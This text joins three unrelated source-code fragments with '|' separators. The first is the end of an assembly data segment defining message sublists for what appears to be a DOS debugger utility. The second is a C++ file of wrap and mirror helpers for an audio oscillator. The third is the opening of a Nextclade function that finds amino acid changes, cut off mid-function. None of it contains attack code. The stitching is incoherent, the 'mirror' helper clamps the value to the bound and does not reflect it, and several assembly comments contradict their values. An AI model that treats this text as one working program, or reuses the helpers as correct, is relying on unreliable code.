db_hexarg_sb3 label dword ;an000;hex argument parameter 3
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 03 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum width
db pad_blank ;an000;blank pad
;================== hex add parameter sublists ===========================
db_hexadd_sb1 label dword ;an000;hex add parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:add_arg ;an000;point to add_arg
db 01 ;an000;parameter one
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
db_hexadd_sb2 label dword ;an000;hex argument parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:sub_arg ;an000;point to sub_arg
db 02 ;an000;parameter two
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
;================== end hex add parameter sublists =======================
;================== single register parameter sublists ===================
;string: "%1 %2",13,10,":",0
db_singrg_sb1 label dword ;an000;single register parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
db_singrg_sb2 label dword ;an000;single register parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:single_reg_arg ;an000;point single_reg_arg
db 02 ;an000;parameter two
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
;================== register parameter sublists ==========================
;string: "%1=%2 ",0
db_regist_sb1 label dword ;an000;register parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:reg_name ;an000;point to reg_name
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db 02 ;an000;unlimited width
db 02 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
db_regist_sb2 label dword ;an000;register parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:reg_contents ;an000;point to reg_contents
db 02 ;an000;parameter two
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
;================== error message parameter sublists =====================
;string: "%1 Error",0
db_error_sb1 label dword ;an000;error message parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:err_type ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
;================== writing message parameter sublists ===================
;string: "Writing %1%2 bytes",0
db_wrtmes_sb1 label dword ;an000;wrtmes parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:wrt_arg1 ;an000;point to argument buffer
db 01 ;an000;parameter one
db right_align+bin_hex_word
;an000;right align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
db_wrtmes_sb2 label dword ;an000;wrtmes parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:wrt_arg2 ;an000;point to argument buffer
db 02 ;an000;parameter two
;C07 db left_align+bin_hex_word
db right_align+bin_hex_word ;C07
;an000;left align/word/hexadecimal
;C02 db 04 ;an000;maximum of 4 bytes
;C02 db 04 ;an000;minimum of 4 bytes
;C07 db 01 ;an000;maximum of 4 bytes ;C02
;C07 db 00 ;an000;minimum of 4 bytes ;C02
db 04 ;an000;maximum of 4 bytes ;C07
db 01 ;an000;minimum of 4 bytes ;C07
db pad_zero ;an000;blank pad
;================== loc address parameter sublists =======================
;string: "%1:%2=",0
db_locadd_sb1 label dword ;an000;loc address parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db right_align+Char_field_ASCIIZ
;an000;left align/ASCIZZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
db_locadd_sb2 label dword ;an000;loc address parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:loc_add ;an000;point to loc_add
db 02 ;an000;parameter two
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
;================== little contents parameter sublists ===================
;string "%1",0
db_little_sb1 label dword ;an000;one byte output parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:little_contents ;an000;point to little_contents
db 01 ;an000;parameter one
db right_align+bin_hex_byte
;an000;left align/byte/hexadecimal
db 02 ;an000;maximum of 2 bytes
db 02 ;an000;minimum of 2 bytes
db pad_zero ;an000;blank pad
;================== big argument parameter sublists ======================
;string: "%1",0
db_big_sb1 label dword ;an000;word argument parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:big_contents ;an000;point to big_contents
db 01 ;an000;parameter one
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
;======================= comp argument parameter sublists ================
;string "%1:%2 %3 %4 %5:%6",0
db_comp_sb1 label dword ;an000;comp argument parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:comp_arg1 ;an000;point to comp_arg1
db 01 ;an000;parameter one
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
db_comp_sb2 label dword ;an000;comp argument parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:comp_arg2 ;an000;point to comp_arg2
db 02 ;an000;parameter two
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
db_comp_sb3 label dword ;an000;comp argument parameter 3
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:comp_arg3 ;an000;point to comp_arg3
db 03 ;an000;parameter three
db right_align+bin_hex_byte
;an000;left align/byte/hexadecimal
db 02 ;an000;maximum of 2 bytes
db 02 ;an000;minimum of 2 bytes
db pad_zero ;an000;blank pad
db_comp_sb4 label dword ;an000;comp argument parameter 4
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:comp_arg4 ;an000;point to comp_arg4
db 04 ;an000;parameter four
db right_align+bin_hex_byte
;an000;left align/byte/hexadecimal
db 02 ;an000;maximum of 2 bytes
db 02 ;an000;minimum of 2 bytes
db pad_zero ;an000;blank pad
db_comp_sb5 label dword ;an000;comp argument parameter 5
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:comp_arg5 ;an000;point to comp_arg5
db 05 ;an000;parameter five
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
db_comp_sb6 label dword ;an000;comp argument parameter 6
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:comp_arg6 ;an000;
db 06 ;an000;parameter 6
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
;======================= disk error parameter sublists ===================
;string: "%1 error %2 drive %3",0
db_disk_sb1 label dword ;an000;disk argument parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:mestyp ;an000;point to mestyp
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
db_disk_sb2 label dword ;an000;disk argument parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:iotyp ;an000;point to iotyp
db 02 ;an000;parameter two
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
db_disk_sb3 label dword ;an000;disk argument parameter 3
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:drive ;an000;point to drive
db 03 ;an000;parameter three
db left_align+char_field_char
;an000;left align/character/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
arg_buf_sb1 label dword ;an000;argument sublist
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_Field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
one_char_sb1 label dword ;an000;character buffer sublist
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:one_char_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_Field_Char
;an000;left align/character/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum of 0 bytes
db pad_blank ;an000;blank pad
xm_han_sub label dword ;an000;sublist for handles
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_HANDLE_RET ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 30h ;an000;pad with zeros
xm_map_sub label dword ;an000;sublist for mappings
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_LOG ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Byte;an000;
db 02 ;an000;maximum width
db 02 ;an000;minimum width
db 30h ;an000;pad with zeros
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_PHY ;an000;parameter 2
db 02 ;an000;parameter 2
db right_align+Bin_Hex_Byte;an000;
db 02 ;an000;maximum width
db 02 ;an000;minimum width
db 30h ;an000;pad with zeros
xm_sta_sub label word ;an000;sublist for status
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_HANDLE_RET ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 30h ;an000;pad with zeros
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_PAGE_CNT ;an000;parameter 2
db 02 ;an000;parameter 2
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 30h ;an000;pad with zeros
xm_page_seg_sub label word ;an000;sublist for frame seg status
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_PHY ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Byte;an000;
db 02 ;an000;maximum width
db 02 ;an000;minimum width
db 30h ;an000;pad with zeros
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_FRAME ;an000;parameter 2
db 02 ;an000;parameter 2
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 30h ;an000;pad with zeros
xm_deall_sub label word ;an000;sublist for handle deallocation
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_DEALL_HAN ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Byte;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 30h ;an000;pad with zeros
xm_unall_sub label word ;an000;sublist unallocated page report
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_ALLOC_PG ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 20h ;an000;pad with blanks
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_TOTAL_PG ;an000;parameter 1
db 02 ;an000;parameter 1
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 20h ;an000;pad with zeros
xm_han_alloc_sub label word ;an000;sublist unallocated page report
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_HAN_ALLOC ;an000;parameter 1
db 01 ;an000;parameter 1
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 20h ;an000;pad with blanks
db Sublist_Length ;an000;11 bytes
db Reserved ;an000;reserved field
dd dg:XM_HAN_TOTAL ;an000;parameter 1
db 02 ;an000;parameter 1
db right_align+Bin_Hex_Word;an000;
db 04 ;an000;maximum width
db 04 ;an000;minimum width
db 20h ;an000;pad with zeros
;=========================================================================
; end parameter sublists
;=========================================================================
unassem_ln_ptr label word ;an000;"%1%2",0
dw 0032 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_unassem_sb1 ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
hex_ptr label word ;an000;"%1:%2 %3",0
dw 0033 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_hexarg_sb1 ;an000;sublist
dw 03 ;an000;3 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
add_ptr label word ;an000;"%1 %2",0
dw 0034 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_hexadd_sb1 ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
single_reg_ptr label word ;an000;"%1 %2",13,10,":",0
dw 0035 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_singrg_sb1 ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
register_ptr label word ;an000;"%1=%2 ",0 ex: AX=FFFF
dw 0036 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_regist_sb1 ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
errmes_ptr label word ;an000;"%1 Error",0
dw 0037 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_error_sb1 ;an000;sublist
dw 01 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
wrtmes_ptr label word ;an000;"Writing %1 bytes",0
dw 0038 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_wrtmes_sb1 ;an000;sublist
;C02 dw 01 ;an000;1 sub
dw 02 ;an000;1 sub ;C02
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
loc_ptr label word ;an000:"%1;%2=",0 ex:CX:0000
dw 0039 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_locadd_sb1 ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
little_ptr label word ;an000;"%1",0 ex:FF
dw 0040 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_little_sb1 ;an000;sublist
dw 01 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
big_ptr label word ;an000;"%1",0
dw 0041 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_big_sb1 ;an000;sublist
dw 01 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
comp_ptr label word ;an000;"%1:%2 %3 %4 %5:%6",0
dw 0042 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_comp_sb1 ;an000;sublist
dw 06 ;an000;6 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
arg_buf_ptr label word ;an000;"%1"
dw 0046 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:arg_buf_sb1 ;an000;sublist
dw 01 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
one_char_buf_ptr label word ;an000;"%1"
dw 0047 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:one_char_sb1 ;an000;sublist
dw 01 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_unall_ptr label word ;an000;unallocated message report
dw 0050 ;an000;"%1 of a total %2 EMS pages
; have been allocated",cr,lf
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_UNALL_SUB ;an000;sublist
dw 02 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_han_alloc_ptr label word ;an000;unallocated message report
dw 0051 ;an000;"%1 of a total %2 EMS handles
; have been allocated",cr,lf
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_HAN_ALLOC_SUB ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_han_ret_ptr label word ;an000;prints handle created
dw 0055 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_HAN_SUB ;an000;sublist
dw 01 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_mapped_ptr label word ;an000;prints log/phy pages
dw 0056 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_MAP_SUB ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err80_ptr label word ;an000;ems error message
dw 0057 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err83_ptr label word ;an000;ems error message
dw 0058 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err84_ptr label word ;an000;ems error message
dw 0059 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err85_ptr label word ;an000;ems error message
dw 0060 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err86_ptr label word ;an000;ems error message
dw 0061 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err87_ptr label word ;an000;ems error message
dw 0062 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err88_ptr label word ;an000;ems error message
dw 0063 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err89_ptr label word ;an000;ems error message
dw 0064 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err8a_ptr label word ;an000;ems error message
dw 0065 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err8b_ptr label word ;an000;ems error message
dw 0066 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err8d_ptr label word ;an000;ems error message
dw 0067 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err8e_ptr label word ;an000;ems error message
dw 0068 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_err_gen_ptr label word ;an000;ems error message
dw 0070 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_parse_err_ptr label word ;an000;input error message
dw 0071 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;1 sub
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_status_ptr label word ;an000;prints status of EMS
dw 0072 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_STA_SUB ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_page_seg_ptr label word ;an000;"Physical page %1 = Frame
; segment %2"
dw 0075 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_PAGE_SEG_SUB ;an000;sublist
dw 02 ;an000;2 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_deall_ptr label word ;an000;"Handle %1 deallocated"
dw 0076 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw dg:XM_DEALL_SUB ;an000;sublist
dw 01 ;an000;1 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
xm_errff_ptr label word ;an000;"EMS not installed"
dw 0078 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility messages
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;0 subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
qmes_1 label word ;
dw 0090 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
qmes_2 label word ;
dw 0091 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
qmes_3 label word ;
dw 0092 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00
;an000;no keyboard buffer
qmes_4 label word ;
dw 0093 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
qmes_5 label word ;
dw 0094 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
help_text1 label word
dw 0100 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
help_text2 label word
dw 0101 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
help_text3 label word
dw 0102 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
help_text4 label word
dw 0103 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
help_text5 label word
dw 0104 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
help_text6 label word
dw 0105 ;message number
db UTILITY_MSG_CLASS ;utility message
dw stdout ;an000;display handle
dw 00
dw 00
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
arg_buf db 80 dup (?) ;an000;argument buffer
one_char_buf db ? ;an000;character buffer
opbuf db 51h dup (?)
hex_arg1 dw ?
hex_arg2 dw ?
add_arg dw ?
sub_arg dw ?
single_reg_arg dw ?
reg_name dw ?
reg_contents dw ?
err_type db 3 dup(0) ;ac000;changed to hold bf,bp,etc.
wrt_arg1 dw ?
wrt_arg2 dw ?
loc_add dw ?
little_contents dw ?
big_contents dw ?
comp_arg1 dw ?
comp_arg2 dw ?
comp_arg3 dw ?
comp_arg4 dw ?
comp_arg5 dw ?
comp_arg6 dw ?
mestyp dw ?
iotyp dw ?
drive db ?
DATA ENDS
END
|
/*
* wavetable.cpp
* Samuel Laing - 2019
*
* just a few utility functions to be used by the GendyOscillator
*/
#include "wavetable.hpp"
namespace rack {
float wrap(float in, float lb, float ub) {
float out = in;
if (in > ub) out = lb;
else if (in < lb) out = ub;
return out;
}
float mirror(float in, float lb, float ub) {
float out = in;
if (in > ub) {
out = out - (in - ub);
}
else if (in < lb) {
out = out - (in - lb);
}
return out;
}
}
|
#include "getAminoacidChanges.h"
#include <fmt/format.h>
#include <nextclade/nextclade.h>
#include <nextclade/private/nextclade_private.h>
#include <boost/algorithm/string/join.hpp>
#include <vector>
#include "../utils/contract.h"
#include "../utils/mapFind.h"
#include "../utils/safe_cast.h"
namespace {
std::vector<std::string> surroundWithQuotes(const std::vector<std::string>& m) {
std::vector<std::string> result;
std::transform(m.cbegin(), m.cend(), std::back_inserter(result),
[](const auto& x) { return fmt::format("\"{}\"", x); });
return result;
}
}// namespace
namespace Nextclade {
/**
* Finds aminoacid substitutions and deletions in query peptides relative to reference peptides, in one gene
*
* NOTE: Nucleotide sequences and peptides are required to be stripped from insertions
*
* Implementation details: We compare reference and query peptides (extracted by the preceding call to Nextalign),
* one aminoacid at at time, and deduce changes. We then report the change and relevant nucleotide context surrounding
* this change.
* Previously we reported one-to-one mapping of aminoacid changes to corresponding nucleotide changes. However, it
* was not always accurate, because if there are multiple nucleotide changes in a codon, the direct correspondence
* might not always be established without knowing the order in which nucleotide changes have occurred. And in the
* context of Nextclade we don't have this information.
*/
void getAminoacidChangesForGene( //
const NucleotideSequence& ref, //
const NucleotideSequence& query, //
const AminoacidSequence& refPeptide, //
const AminoacidSequence& queryPeptide, //
const Gene& gene, //
const Range& alignmentRange, //
std::vector<AminoacidSubstitution>& aaSubstitutions,//
std::vector<AminoacidDeletion>& aaDeletions //
) {
precondition_equal(queryPeptide.size(), refPeptide.size());
precondition_equal(query.size(), ref.size());
const auto numNucs = safe_cast<int>(query.size());
const auto numCodons = safe_cast<int>(queryPeptide.size());
for (int codon = 0; codon < numCodons; ++codon) {
invariant_greater_equal(codon, 0);
invariant_less(codon, refPeptide.size());
invariant_less(codon, queryPeptide.size());
const auto& refAa = refPeptide[codon];
const auto& queryAa = queryPeptide[codon];
// Find where the codon is in nucleotide sequences
const auto codonBegin = gene.start + codon * 3;
const auto codonEnd = codonBegin + 3;
if (!alignmentRange.contains(codonBegin) || !alignmentRange.contains(codonEnd)) {
continue;
}
invariant_greater_equal(codonBegin, 0);
invariant_greater_equal(codonBegin, gene.start);
invariant_less(codonBegin, gene.end);
invariant_greater_equal(codonEnd, codonBegin);
// Provide surrounding context in nucleotide sequences: 1 codon to the left and 1 codon to the right
const auto contextBegin = std::clamp(codonBegin - 3, 0, numNucs);
const auto contextEnd = std::clamp(codonEnd + 3, 0, numNucs);
const auto contextLength = contextEnd - contextBegin;
invariant_greater_equal(contextBegin, 0);
invariant_less(contextEnd, ref.size());
invariant_less(contextEnd, query.size());
invariant_less(contextEnd, numNucs);
invariant_greater_equal(contextEnd, contextBegin);
invariant_greater_equal(contextLength, 0);
